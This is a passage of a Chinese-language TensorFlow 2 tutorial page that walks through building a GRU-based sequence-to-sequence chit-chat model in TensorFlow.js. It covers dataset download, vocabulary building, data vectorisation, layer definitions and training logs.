href="../../zh_hant/appendix/terms.html">專有名詞中英對照表</a></li> </ul> <p class="caption"><span class="caption-text">Preface</span></p> <ul> <li class="toctree-l1"><a class="reference internal" href="../../en/preface.html">Preface</a></li> <li class="toctree-l1"><a class="reference internal" href="../../en/introduction.html">TensorFlow Overview</a></li> </ul> <p class="caption"><span class="caption-text">Basic</span></p> <ul> <li class="toctree-l1"><a class="reference internal" href="../../en/basic/installation.html">Installation and Environment Configuration</a></li> <li class="toctree-l1"><a class="reference internal" href="../../en/basic/basic.html">TensorFlow Basic</a></li> <li class="toctree-l1"><a class="reference internal" href="../../en/basic/models.html">Model Construction and Training</a></li> <li class="toctree-l1"><a class="reference internal" href="../../en/basic/tools.html">Common Modules in TensorFlow</a></li> </ul> <p class="caption"><span class="caption-text">Deployment</span></p> <ul> <li class="toctree-l1"><a class="reference internal" href="../../en/deployment/export.html">TensorFlow Model Export</a></li> <li class="toctree-l1"><a class="reference internal" href="../../en/deployment/serving.html">TensorFlow Serving</a></li> </ul> <p class="caption"><span class="caption-text">Large-scale Training</span></p> <ul> <li class="toctree-l1"><a class="reference internal" href="../../en/appendix/distributed.html">Distributed training with TensorFlow</a></li> </ul> <p class="caption"><span class="caption-text">Extensions</span></p> <ul> <li class="toctree-l1"><a class="reference internal" href="../../en/appendix/tfds.html">TensorFlow Datasets: Ready-to-use Datasets</a></li> <li class="toctree-l1"><a class="reference internal" href="../../en/appendix/quantum.html">TensorFlow Quantum: Hybrid Quantum-classical Machine Learning *</a></li> </ul> </div> </div> </nav> <section data-toggle="wy-nav-shift" class="wy-nav-content-wrap"> <nav class="wy-nav-top" aria-label="top navigation"> <i data-toggle="wy-nav-top" class="fa fa-bars"></i> <a href="../../index.html">简单粗暴 TensorFlow 2</a> </nav> <div class="wy-nav-content"> <div class="rst-content"> <div role="navigation" aria-label="breadcrumbs navigation"> <ul class="wy-breadcrumbs"> <li><a href="../../index.html">Docs</a> &raquo;</li> <li>Tensorflow JavaScript 闲聊对话模型</li> <li class="wy-breadcrumbs-aside"> <a href="../../_sources/zh_hans/application/seq2seq-javascript.rst.txt" rel="nofollow"> View page source</a> </li> </ul> <hr/> </div> <div role="main" class="document" itemscope="itemscope" itemtype="http://schema.org/Article"> <div itemprop="articleBody"> <div class="section" id="tensorflow-javascript"> <h1>Tensorflow JavaScript 闲聊对话模型<a class="headerlink" href="#tensorflow-javascript" title="永久链接至标题">¶</a></h1> <p>本章我们将根据前述章节的 Python 版闲聊对话模型,实现一个基于 JavaScript 版的序列到序列模型(Sequence to Sequence, Seq2Seq)。它同样是基于 RNN 的 Encoder-Decoder 结构,具体基本介绍,请读者参考 Python 版闲聊对话模型的相关章节。</p> <p>这里的Encoder-Decoder结构,简单的来说就是算法包含两部分,一个负责对输入的信息进行Encoding,将输入转换为向量形式;然后由Decoder对这个向量进行解码,还原为输出序列。</p> <p>这个任务预测的是通过一个序列,来预测另外一个对应的序列。举例来说,常见的打招呼就是一个序列到序列的过程:</p> <div class="highlight-default notranslate"><div class="highlight"><pre><span></span>输入:How are you ? 输出:Fine, thank you . </pre></div> </div> <p>这个过程的输入序列有4个 token: <code class="docutils literal notranslate"><span class="pre">['how',</span> <span class="pre">'are',</span> <span class="pre">'you',</span> <span class="pre">'?']</span></code> ,输出序列有5个 token: <code class="docutils literal notranslate"><span class="pre">['fine',</span> <span class="pre">',',</span> <span class="pre">'thank',</span> <span class="pre">'you',</span> <span class="pre">'.']</span></code> 。我们希望建立这样的模型,输入长为 <code class="docutils literal notranslate"><span class="pre">maxLength</span></code> 的序列,输入张量形状为 <code class="docutils literal notranslate"><span class="pre">[null,</span> <span class="pre">max_length]</span></code> ,输出与这个序列对应的序列中 token 的概率分布,概率分布的维度为词汇表大小 <code class="docutils literal notranslate"><span class="pre">vocSize</span></code> ,输出张量形状为 <code class="docutils literal notranslate"><span class="pre">[null,</span> <span class="pre">maxLength,</span> <span class="pre">vocSize]</span></code> 。</p> <p>首先,我们下载预先准备好数据集,将其存为 <code class="docutils literal notranslate"><span class="pre">dataset.txt</span></code> 。数据集的格式为每行为一对序列,分别为输入序列和输出序列,之间用 <code class="docutils literal notranslate"><span class="pre">'\t'</span></code> 制表符隔开。序列中的每一个 token 之间,都通过 <code class="docutils literal notranslate"><span class="pre">'</span> <span class="pre">'</span></code> 空格符号进行分割。</p> <div class="highlight-default notranslate"><div class="highlight"><pre><span></span>$ wget https://github.com/huan/python-concise-chitchat/releases/download/v0.0.1/dataset.txt.gz dataset.txt.gz 100% [======================&gt;] 986.60K 282KB/s in 3.5s 2019-03-15 22:59:00 (282 KB/s) - ‘dataset.txt.gz’ saved [1010276/1010276] $ gzip -d dataset.txt.gz $ ls -l dataset.txt l-rw-r--r-- 1 zixia wheel 3516695 Mar 14 13:15 dataset.txt $ head -3 dataset.txt did you change your hair ? no . no . you might wanna think about it you the new guy ? so they tell me ... </pre></div> </div> <p>我们需要将它转换为 Tensorflow Dataset 格式:</p> <div class="highlight-javascript notranslate"><div class="highlight"><pre><span></span><span class="kr">import</span> <span class="o">*</span> <span class="nx">as</span> <span class="nx">tf</span> <span class="nx">from</span> <span class="s1">&#39;@tensorflow/tfjs&#39;</span> <span class="nx">type</span> <span class="nx">Seq2seqData</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">input</span><span class="o">:</span> <span class="nx">string</span><span class="p">,</span> <span class="nx">output</span><span class="o">:</span> <span class="nx">string</span><span class="p">,</span> <span class="p">}</span> <span class="kr">const</span> <span class="nx">dataset</span> <span class="o">=</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">csv</span><span class="p">(</span><span class="s1">&#39;dataset.txt&#39;</span><span class="p">,</span> <span class="p">{</span> <span class="nx">hasHeader</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">columnNames</span><span class="o">:</span> <span class="p">[</span><span class="s1">&#39;input&#39;</span><span class="p">,</span> <span class="s1">&#39;output&#39;</span><span class="p">],</span> <span class="nx">delimiter</span><span class="o">:</span> <span class="s1">&#39;\t&#39;</span><span class="p">,</span> <span class="p">})</span> <span class="nx">as</span> <span class="nx">any</span> <span class="nx">as</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">Dataset</span><span class="o">&lt;</span><span class="nx">Seq2seqData</span><span class="o">&gt;</span> </pre></div> </div> <p>其次,我们还需要基于 <code class="docutils literal notranslate"><span class="pre">Dataset</span></code> 中输入序列和输出序列中的文本数据,建立对应的词汇表 <code class="docutils literal notranslate"><span class="pre">Vocabulary</span></code> 来负责管理以下5项任务:</p> <ol class="arabic simple"> <li><p>将所有单词和标点符号进行编码;</p></li> <li><p>记录词汇表大小;</p></li> <li><p>建立单词到编码数字,以及编码数字到单词的映射字典;</p></li> </ol> <div class="highlight-javascript notranslate"><div class="highlight"><pre><span></span><span class="kr">class</span> <span class="nx">Vocabulary</span> <span class="p">{</span> <span class="kr">private</span> <span class="nx">readonly</span> <span class="nx">tokenIndice</span><span class="o">:</span> <span class="nx">Map</span><span class="o">&lt;</span><span class="nx">string</span><span class="p">,</span> <span class="nx">number</span><span class="o">&gt;</span> <span class="kr">private</span> <span class="nx">readonly</span> <span class="nx">indiceToken</span><span class="o">:</span> <span class="nx">Map</span><span class="o">&lt;</span><span class="nx">number</span><span class="p">,</span> <span class="nx">string</span><span class="o">&gt;</span> <span class="kr">public</span> <span class="nx">maxSeqLength</span><span class="o">:</span> <span class="nx">number</span> <span class="kr">public</span> <span class="nx">size</span><span class="o">:</span> <span class="nx">number</span> <span class="nx">constructor</span> <span class="p">()</span> <span class="p">{</span> <span class="k">this</span><span class="p">.</span><span class="nx">tokenIndice</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Map</span><span class="o">&lt;</span><span class="nx">string</span><span class="p">,</span> <span class="nx">number</span><span class="o">&gt;</span><span class="p">()</span> <span class="k">this</span><span class="p">.</span><span class="nx">indiceToken</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Map</span><span class="o">&lt;</span><span class="nx">number</span><span class="p">,</span> <span class="nx">string</span><span class="o">&gt;</span><span class="p">()</span> <span class="k">this</span><span class="p">.</span><span class="nx">size</span> <span class="o">=</span> <span class="mi">1</span> <span class="c1">// Including the reserved 0</span> <span class="k">this</span><span class="p">.</span><span class="nx">maxSeqLength</span> <span class="o">=</span> <span class="mi">0</span> <span class="p">}</span> <span class="kr">public</span> <span class="nx">fitToken</span><span class="p">(</span><span class="nx">token</span><span class="o">:</span> <span class="nx">string</span><span class="p">)</span><span class="o">:</span> <span class="k">void</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="k">this</span><span class="p">.</span><span class="nx">tokenIndice</span><span class="p">.</span><span class="nx">has</span><span class="p">(</span><span class="nx">token</span><span class="p">))</span> <span class="p">{</span> <span class="k">this</span><span class="p">.</span><span class="nx">tokenIndice</span><span class="p">.</span><span class="nx">set</span><span class="p">(</span><span class="nx">token</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="nx">size</span><span class="p">)</span> <span class="k">this</span><span class="p">.</span><span class="nx">indiceToken</span><span class="p">.</span><span class="nx">set</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">size</span><span class="p">,</span> <span class="nx">token</span><span class="p">)</span> <span class="k">this</span><span class="p">.</span><span class="nx">size</span><span class="o">++</span> <span class="p">}</span> <span class="p">}</span> <span class="kr">public</span> <span class="nx">fitText</span><span class="p">(</span><span class="nx">text</span><span class="o">:</span> <span class="nx">string</span><span class="p">)</span><span class="o">:</span> <span class="k">void</span> <span class="p">{</span> <span class="kr">const</span> <span class="nx">tokenList</span> <span class="o">=</span> <span class="p">[...</span><span class="nx">text</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="sr">/\s+/</span><span class="p">)]</span> <span class="k">if</span> <span class="p">(</span><span class="nx">tokenList</span><span class="p">.</span><span class="nx">length</span> <span class="o">&gt;</span> <span class="k">this</span><span class="p">.</span><span class="nx">maxSeqLength</span><span class="p">)</span> <span class="p">{</span> <span class="k">this</span><span class="p">.</span><span class="nx">maxSeqLength</span> <span class="o">=</span> <span class="nx">tokenList</span><span class="p">.</span><span class="nx">length</span> <span class="p">}</span> <span class="k">for</span> <span class="p">(</span><span class="kr">const</span> <span class="nx">token</span> <span class="k">of</span> <span class="nx">tokenList</span><span class="p">)</span> <span class="p">{</span> <span class="k">this</span><span class="p">.</span><span class="nx">fitToken</span><span class="p">(</span><span class="nx">token</span><span class="p">)</span> <span class="p">}</span> <span class="p">}</span> <span class="kr">public</span> <span class="nx">token</span><span class="p">(</span><span class="nx">indice</span><span class="o">:</span> <span class="nx">number</span><span class="p">)</span><span class="o">:</span> <span class="nx">string</span> <span class="p">{</span> <span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">indiceToken</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="nx">indice</span><span class="p">)</span> <span class="nx">as</span> <span class="nx">string</span> <span class="p">}</span> <span class="kr">public</span> <span class="nx">indice</span> <span class="p">(</span><span class="nx">token</span><span class="o">:</span> <span class="nx">string</span><span class="p">)</span><span class="o">:</span> <span class="nx">number</span> <span class="p">{</span> <span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">tokenIndice</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="nx">token</span><span class="p">)</span> <span class="nx">as</span> <span class="nx">number</span> <span class="p">}</span> <span class="kr">public</span> <span class="nx">sequenize</span> <span class="p">(</span> <span class="nx">text</span><span class="o">:</span> <span class="nx">string</span><span class="p">,</span> <span class="nx">length</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="p">)</span><span class="o">:</span> <span class="nx">number</span><span class="p">[]</span> <span class="p">{</span> <span class="kr">const</span> <span class="nx">tokenList</span> <span class="o">=</span> <span class="p">[...</span><span class="nx">text</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="sr">/\s+/</span><span class="p">)]</span> <span class="kr">const</span> <span class="nx">indiceList</span> <span class="o">=</span> <span class="nx">tokenList</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">token</span> <span class="p">=&gt;</span> <span class="k">this</span><span class="p">.</span><span class="nx">indice</span><span class="p">(</span><span class="nx">token</span><span class="p">))</span> <span class="k">if</span> <span class="p">(</span><span class="nx">length</span> <span class="o">===</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="nx">indiceList</span><span class="p">.</span><span class="nx">length</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">maxSeqLength</span> <span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">maxSeqLength</span> <span class="o">&gt;</span> <span class="nx">tokenList</span><span class="p">.</span><span class="nx">length</span><span class="p">)</span> <span class="p">{</span> <span class="nx">indiceList</span><span class="p">.</span><span class="nx">fill</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nx">tokenList</span><span class="p">.</span><span class="nx">length</span><span class="p">)</span> <span class="p">}</span> <span class="p">}</span> <span class="k">return</span> <span class="nx">indiceList</span> <span class="p">}</span> <span class="p">}</span> </pre></div> </div> <p>接下来,我们将数据集和 <code class="docutils literal notranslate"><span class="pre">Vocabulary</span></code> 结合起来,并对数据集进行数据向量化。</p> <div class="highlight-javascript notranslate"><div class="highlight"><pre><span></span><span class="kr">export</span> <span class="kr">const</span> <span class="nx">START_TOKEN</span> <span class="o">=</span> <span class="s1">&#39;\t&#39;</span> <span class="kr">export</span> <span class="kr">const</span> <span class="nx">END_TOKEN</span> <span class="o">=</span> <span class="s1">&#39;\n&#39;</span> <span class="kr">const</span> <span class="nx">voc</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Vocabulary</span><span class="p">()</span> <span class="nx">voc</span><span class="p">.</span><span class="nx">fitToken</span><span class="p">(</span><span class="nx">START_TOKEN</span><span class="p">)</span> <span class="nx">voc</span><span class="p">.</span><span class="nx">fitToken</span><span class="p">(</span><span class="nx">END_TOKEN</span><span class="p">)</span> <span class="nx">await</span> <span class="nx">dataset</span><span class="p">.</span><span class="nx">forEachAsync</span><span class="p">(</span><span class="nx">value</span> <span class="p">=&gt;</span> <span class="p">{</span> <span class="nx">voc</span><span class="p">.</span><span class="nx">fitText</span><span class="p">(</span><span class="nx">value</span><span class="p">.</span><span class="nx">input</span><span class="p">)</span> <span class="nx">voc</span><span class="p">.</span><span class="nx">fitText</span><span class="p">(</span><span class="nx">value</span><span class="p">.</span><span class="nx">output</span><span class="p">)</span> <span class="p">})</span> <span class="c1">// 额外的 START_TOKEN 和 END_TOKEN</span> <span class="nx">voc</span><span class="p">.</span><span class="nx">maxSeqLength</span> <span class="o">+=</span> <span class="mi">2</span> <span class="kr">const</span> <span class="nx">seq2seqDataset</span> <span class="o">=</span> <span class="nx">dataset</span> <span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">value</span> <span class="p">=&gt;</span> <span class="p">{</span> <span class="kr">const</span> <span class="nx">input</span> <span class="o">=</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">tensor</span><span class="p">(</span><span class="nx">voc</span><span class="p">.</span><span class="nx">sequenize</span><span class="p">(</span><span class="nx">value</span><span class="p">.</span><span class="nx">input</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">))</span> <span class="kr">const</span> <span class="nx">decoderInputBuf</span> <span class="o">=</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">buffer</span><span class="o">&lt;</span><span class="nx">tf</span><span class="p">.</span><span class="nx">Rank</span><span class="p">.</span><span class="nx">R1</span><span class="o">&gt;</span><span class="p">([</span> <span class="nx">voc</span><span class="p">.</span><span class="nx">maxSeqLength</span><span class="p">,</span> <span class="p">])</span> <span class="kr">const</span> <span class="nx">decoderTargetBuf</span> <span class="o">=</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">buffer</span><span class="o">&lt;</span><span class="nx">tf</span><span class="p">.</span><span class="nx">Rank</span><span class="p">.</span><span class="nx">R2</span><span class="o">&gt;</span><span class="p">([</span> <span class="nx">voc</span><span class="p">.</span><span class="nx">maxSeqLength</span><span class="p">,</span> <span class="nx">voc</span><span class="p">.</span><span class="nx">size</span><span class="p">,</span> <span class="p">])</span> <span class="kr">const</span> <span class="nx">outputIndiceList</span> <span class="o">=</span> <span class="p">[</span> <span class="nx">voc</span><span class="p">.</span><span class="nx">indice</span><span class="p">(</span><span class="nx">START_TOKEN</span><span class="p">),</span> <span class="p">...</span><span class="nx">voc</span><span class="p">.</span><span class="nx">sequenize</span><span class="p">(</span><span class="nx">value</span><span class="p">.</span><span class="nx">output</span><span class="p">),</span> <span class="nx">voc</span><span class="p">.</span><span class="nx">indice</span><span class="p">(</span><span class="nx">END_TOKEN</span><span class="p">),</span> <span class="p">]</span> <span class="k">for</span> <span class="p">(</span><span class="kr">const</span> <span class="p">[</span><span class="nx">t</span><span class="p">,</span> <span class="nx">indice</span><span class="p">]</span> <span class="k">of</span> <span class="nx">outputIndiceList</span><span class="p">.</span><span class="nx">entries</span><span class="p">())</span> <span class="p">{</span> <span class="nx">decoeerInputBuf</span><span class="p">.</span><span class="nx">set</span><span class="p">(</span><span class="nx">indice</span><span class="p">,</span> <span class="nx">t</span><span class="p">)</span> <span class="c1">// shift left for target: not including START_OF_SEQ</span> <span class="k">if</span> <span class="p">(</span><span class="nx">t</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="nx">decoderTargetBuf</span><span class="p">.</span><span class="nx">set</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nx">t</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="nx">indice</span><span class="p">)</span> <span class="p">}</span> <span class="p">}</span> <span class="kr">const</span> <span class="nx">decoderInput</span> <span class="o">=</span> <span class="nx">decoderInputBuf</span><span class="p">.</span><span class="nx">toTensor</span><span class="p">()</span> <span class="kr">const</span> <span class="nx">decoderTarget</span> <span class="o">=</span> <span class="nx">decoderTargetBuf</span><span class="p">.</span><span class="nx">toTensor</span><span class="p">()</span> <span class="kr">const</span> <span class="nx">xs</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">seq2seqInputs</span><span class="o">:</span> <span class="nx">inputTensor</span><span class="p">,</span> <span class="nx">seq2seqDecoderInputs</span><span class="o">:</span> <span class="nx">decoderInput</span><span class="p">,</span> <span class="p">}</span> <span class="kr">const</span> <span class="nx">ys</span> <span class="o">=</span> <span class="nx">decoderTarget</span> <span class="k">return</span> <span class="p">{</span><span class="nx">xs</span><span class="p">,</span> <span class="nx">ys</span><span class="p">}</span> <span class="p">})</span> </pre></div> </div> <p>接下来进行模型的实现。我们先建立 Seq2Seq 模型所需的所有 Layers,具体实现如下:</p> <div class="highlight-javascript notranslate"><div class="highlight"><pre><span></span><span class="cm">/**</span> <span class="cm"> * Encoder Layers</span> <span class="cm"> */</span> <span class="kr">const</span> <span class="nx">encoderEmbeddingLayer</span> <span class="o">=</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">layers</span><span class="p">.</span><span class="nx">embedding</span><span class="p">({</span> <span class="nx">inputDim</span><span class="o">:</span> <span class="nx">voc</span><span class="p">.</span><span class="nx">size</span><span class="p">,</span> <span class="nx">outputDim</span><span class="o">:</span> <span class="nx">latentDim</span><span class="p">,</span> <span class="p">})</span> <span class="kr">const</span> <span class="nx">encoderRnnLayer</span> <span class="o">=</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">layers</span><span class="p">.</span><span class="nx">gru</span><span class="p">({</span> <span class="nx">units</span><span class="o">:</span> <span class="nx">latentDim</span><span class="p">,</span> <span class="nx">returnState</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="p">})</span> <span class="cm">/**</span> <span class="cm"> * Decoder Layers</span> <span class="cm"> */</span> <span class="kr">const</span> <span class="nx">decoderEmbeddingLayer</span> <span class="o">=</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">layers</span><span class="p">.</span><span class="nx">embedding</span><span class="p">({</span> <span class="nx">inputDim</span><span class="o">:</span> <span class="nx">voc</span><span class="p">.</span><span class="nx">size</span><span class="p">,</span> <span class="nx">outputDim</span><span class="o">:</span> <span class="nx">latentDim</span><span class="p">,</span> <span class="p">})</span> <span class="kr">const</span> <span class="nx">decoderRnnLayer</span> <span class="o">=</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">layers</span><span class="p">.</span><span class="nx">gru</span><span class="p">({</span> <span class="nx">units</span><span class="o">:</span> <span class="nx">latentDim</span><span class="p">,</span> <span class="nx">returnSequences</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">returnState</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="p">})</span> <span class="kr">const</span> <span class="nx">decoderDenseLayer</span> <span class="o">=</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">layers</span><span class="p">.</span><span class="nx">dense</span><span class="p">({</span> <span class="nx">units</span><span class="o">:</span> <span class="nx">voc</span><span class="p">.</span><span class="nx">size</span><span class="p">,</span> <span class="nx">activation</span><span class="o">:</span> <span class="s1">&#39;softmax&#39;</span><span class="p">,</span> <span class="p">})</span> </pre></div> </div> <p>然后,由这些 Layers ,来组建我们的 Seq2Seq 模型。需要注意的是我们需要共享这些 Layers 建立三个不同的模型,分别是:</p> <ul class="simple"> <li><p>用来训练的完整 Seq2Seq 模型: <code class="docutils literal notranslate"><span class="pre">seq2seqModel</span></code></p></li> <li><p>用来对序列进行编码的 Encoder 模型: <code class="docutils literal notranslate"><span class="pre">encoderModel</span></code></p></li> <li><p>用来对序列进行解码的 Decoder 模型: <code class="docutils literal notranslate"><span class="pre">decoderModel</span></code></p></li> </ul> <p>请注意这三个模型中,只有第一个模型 <code class="docutils literal notranslate"><span class="pre">seq2seqModel</span></code> 是用来训练参数所需要的,所以训练的的时候使用这个模型。而另外的两个模型 <code class="docutils literal notranslate"><span class="pre">encoderModel</span></code> 和 <code class="docutils literal notranslate"><span class="pre">decoderModel</span></code> ,使我们用来预测的时候需要使用的。这三个模型共享所有的 Layers 参数。</p> <p><code class="docutils literal notranslate"><span class="pre">seq2seqModel</span></code> 模型的输入包含两个,一个是 Encoder 的输入,另外一个是 Decoder 的输入。模型的输出是我们数据集的输出。</p> <div class="highlight-javascript notranslate"><div class="highlight"><pre><span></span><span class="kr">const</span> <span class="nx">inputs</span> <span class="o">=</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">layers</span><span class="p">.</span><span class="nx">input</span><span class="p">({</span> <span class="nx">shape</span><span class="o">:</span> <span class="p">[</span><span class="kc">null</span><span class="p">],</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;seq2seqInputs&#39;</span><span class="p">,</span> <span class="p">})</span> <span class="kr">const</span> <span class="nx">encoderEmbedding</span> <span class="o">=</span> <span class="nx">encoderEmbeddingLayer</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">inputs</span><span class="p">)</span> <span class="nx">as</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">Tensor</span><span class="o">&lt;</span><span class="nx">tf</span><span class="p">.</span><span class="nx">Rank</span><span class="p">.</span><span class="nx">R3</span><span class="o">&gt;</span> <span class="kr">const</span> <span class="p">[,</span> <span class="nx">encoderState</span><span class="p">]</span> <span class="o">=</span> <span class="nx">encoderRnnLayer</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">encoderEmbedding</span><span class="p">)</span> <span class="nx">as</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">SymbolicTensor</span><span class="p">[]</span> <span class="kr">const</span> <span class="nx">decoderInputs</span> <span class="o">=</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">layers</span><span class="p">.</span><span class="nx">input</span><span class="p">({</span> <span class="nx">shape</span><span class="o">:</span> <span class="p">[</span><span class="nx">voc</span><span class="p">.</span><span class="nx">maxSeqLength</span><span class="p">],</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;seq2seqDecoderInputs&#39;</span><span class="p">,</span> <span class="p">})</span> <span class="kr">const</span> <span class="nx">decoderEmbedding</span> <span class="o">=</span> <span class="nx">decoderEmbeddingLayer</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">decoderInputs</span><span class="p">)</span> <span class="nx">as</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">SymbolicTensor</span> <span class="kr">const</span> <span class="p">[</span><span class="nx">decoderOutputs</span><span class="p">,]</span> <span class="o">=</span> <span class="nx">decoderRnnLayer</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span> <span class="p">[</span><span class="nx">decoderEmbedding</span><span class="p">,</span> <span class="nx">encoderState</span><span class="p">],</span> <span class="p">{</span> <span class="nx">returnSequences</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">returnState</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="p">},</span> <span class="p">)</span> <span class="nx">as</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">SymbolicTensor</span><span class="p">[]</span> <span class="kr">const</span> <span class="nx">decoderTargets</span> <span class="o">=</span> <span class="nx">decoderDenseLayer</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">decoderOutputs</span><span class="p">)</span> <span class="nx">as</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">SymbolicTensor</span> <span class="kr">const</span> <span class="nx">seq2seqModel</span> <span class="o">=</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">model</span><span class="p">({</span> <span class="nx">inputs</span><span class="o">:</span> <span class="p">[</span><span class="nx">inputs</span><span class="p">,</span> <span class="nx">decoderInputs</span><span class="p">],</span> <span class="nx">outputs</span><span class="o">:</span> <span class="nx">decoderTargets</span><span class="p">,</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;seq2seqModel&#39;</span><span class="p">,</span> <span class="p">})</span> </pre></div> </div> <p>用来训练的 <code class="docutils literal notranslate"><span class="pre">seq2seqModel</span></code> 模型建立完毕后,即可基于模型的 <code class="docutils literal notranslate"><span class="pre">fitDataset</span></code> 函数进行训练:</p> <p>训练大约需要几个小时的时间,才能达到比较好的效果。</p> <div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="n">Epoch</span> <span class="mi">1</span> <span class="o">/</span> <span class="mi">20</span> <span class="n">eta</span><span class="o">=</span><span class="mf">0.0</span> <span class="o">&gt;</span> <span class="mi">90436</span><span class="n">ms</span> <span class="mi">576025</span><span class="n">us</span><span class="o">/</span><span class="n">step</span> <span class="o">-</span> <span class="n">loss</span><span class="o">=</span><span class="mf">4.82</span> <span class="n">Epoch</span> <span class="mi">2</span> <span class="o">/</span> <span class="mi">20</span> <span class="n">eta</span><span class="o">=</span><span class="mf">0.0</span> <span class="o">&gt;</span> <span class="mi">85229</span><span class="n">ms</span> <span class="mi">542858</span><span class="n">us</span><span class="o">/</span><span class="n">step</span> <span class="o">-</span> <span class="n">loss</span><span class="o">=</span><span class="mf">4.07</span> <span class="n">Epoch</span> <span class="mi">3</span> <span class="o">/</span> <span class="mi">20</span> <span class="n">eta</span><span class="o">=</span><span class="mf">0.0</span> <span class="o">&gt;</span> <span class="mi">81913</span><span class="n">ms</span> <span class="mi">521742</span><span class="n">us</span><span class="o">/</span><span class="n">step</span> <span class="o">-</span> <span class="n">loss</span><span class="o">=</span><span class="mf">3.77</span> <span class="n">Epoch</span> <span class="mi">4</span> <span class="o">/</span> <span class="mi">20</span> <span class="n">eta</span><span class="o">=</span><span class="mf">0.0</span> <span class="o">-</span> <span class="n">loss</span><span class="o">=</span><span class="mf">3.52</span> <span class="o">...</span> </pre></div> </div> <p>然后,为了能够让我们使用训练好的模型,我们还需要基于已经训练好的模型 Layer 参数,构建独立的 <code class="docutils literal notranslate"><span class="pre">encoderModel</span></code> 和 <code class="docutils literal notranslate"><span class="pre">decoderModel</span></code> 。</p> <p>Encoder子模型输入 <code class="docutils literal notranslate"><span class="pre">numBatch</span></code> 个由编码后单词和字符组成的,长为 <code class="docutils literal notranslate"><span class="pre">maxLength</span></code> 的序列,输入张量形状为 <code class="docutils literal notranslate"><span class="pre">[numBatch,</span> <span class="pre">maxLength]</span></code> ,输出与这个序列对应的上下文状态张量。</p> <p><code class="docutils literal notranslate"><span class="pre">encoderModel</span></code> 的代码实现如下:</p> <div class="highlight-javascript notranslate"><div class="highlight"><pre><span></span><span class="kr">const</span> <span class="nx">encoderInputs</span> <span class="o">=</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">layers</span><span class="p">.</span><span class="nx">input</span><span class="p">({</span> <span class="nx">shape</span><span class="o">:</span> <span class="p">[</span><span class="kc">null</span><span class="p">],</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;encoderInputs&#39;</span><span class="p">,</span> <span class="p">})</span> <span class="kr">const</span> <span class="nx">encoderEmbedding</span> <span class="o">=</span> <span class="nx">encoderEmbeddingLayer</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">encoderInputs</span><span class="p">)</span> <span class="kr">const</span> <span class="p">[,</span> <span class="nx">encoderState</span><span class="p">]</span> <span class="o">=</span> <span class="nx">encoderRnnLayer</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">encoderEmbedding</span><span class="p">)</span> <span class="nx">as</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">SymbolicTensor</span><span class="p">[]</span> <span class="kr">const</span> <span class="nx">encoderModel</span> <span class="o">=</span> <span class="nx">tf</span><span class="p">.</span><span class="nx">model</span><span class="p">({</span> <span class="nx">inputs</span><span class="o">:</span> <span 